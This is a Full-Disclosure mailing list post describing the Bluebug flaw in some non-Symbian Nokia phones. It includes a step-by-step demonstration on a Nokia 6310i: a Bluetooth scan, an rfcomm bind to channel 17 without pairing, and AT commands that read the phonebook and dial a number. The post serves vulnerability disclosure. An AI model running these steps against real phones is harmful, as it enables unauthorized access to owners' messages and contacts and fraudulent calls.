Adam Laurie napisał(a): > Details of the attacks were disclosed at the Chaos Computer Club's annual > congress in Berlin - 21C3:
According to the [1], not all details were disclosed. Actually, there is no reason for keeping them secret here, while they are well known and actively exploited in the blackhat community.
The Bluebug, as described on [1] is trivially exploitable on some non-Symbian Nokia phones. It allows attacker to create serial profile connection without pairing or asking for permission, therefore it gives unauthorized access to all AT commands. It is possible to read/delete/send SMS messages, add/view/delete phonebook entries, change call diverts, initiate voice or data call.
Demonstration on Nokia 6310i:
laptop:~# hcitool scan
Scanning ...
00:60:57:38:8C:D8 Nokia 6310i
laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for example:
laptop:~# cu -l rfcomm0 -s 9600 Connected. [ATE1] OK ATI Nokia
OK AT+CPBS? +CPBS: "SM",0,100
OK AT+CPBR=? +CPBR: (1-100),48,18
OK ATDT+48609xxxxxx OK
As you can see, the bug is really trivial and looks rather like backdoor.
[1] - http://www.thebunker.net/security/bluetooth.htm [2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx [3] - http://www.gnokii.org/
-- * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE * * JID: [EMAIL PROTECTED] ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV * _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
